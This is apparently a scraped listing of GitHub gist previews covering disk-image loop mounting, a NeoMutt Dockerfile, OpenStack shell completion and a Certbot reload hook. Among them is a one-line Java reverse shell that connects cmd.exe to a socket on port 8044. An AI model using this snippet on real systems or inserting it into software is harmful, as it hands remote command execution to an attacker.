losetup /dev/loop0 image.img
# or
losetup -f file.raw
# if /dev/loop0p1 does not exist
kpartx -a /dev/loop0
SSL Labs
is great, but only support port 443
.
Using master key to create subkeys, and using subkeys to do real work (signing, encryption,...).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Dockerfile for NeoMutt plus 'essentials' | |
# Largely inspired by Jess Frazelle (@jessfraz) | |
# | |
FROM alpine:3.6 | |
RUN apk --no-cache add \ | |
ca-certificates | |
ENV HOME /home/user | |
RUN adduser -u 1000 -D user \ |
The environement are configured from ~/.config/nvim
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#compdef openstack aodh barbican ceilometer cinder cloudkitty designate glance gnocchi heat ironic keystone magnum manila mistral monasca murano neutr | |
# https://wiki.openstack.org/wiki/OpenStackClients | |
# http://docs.openstack.org/user-guide/common/cli-install-openstack-command-line-clients.html | |
local curcontext="$curcontext" state line expl ret=1 | |
local -a clnts_compl_new clnts_compl_old clnts_swift_like | |
# |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
String host="localhost"; | |
int port=8044; | |
String cmd="cmd.exe"; | |
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# | |
# Certbot Nginx Reload | |
# | |
# Let's Encrypt Certbot post hook command for Nginx which checks the updated | |
# configuration files and reloads the server if everything validates. | |
# | |
# Author : Justin Hartman <[email protected]> | |
# Version : 1.0.1 | |
# License : MIT <https://opensource.org/licenses/MIT> |
OlderNewer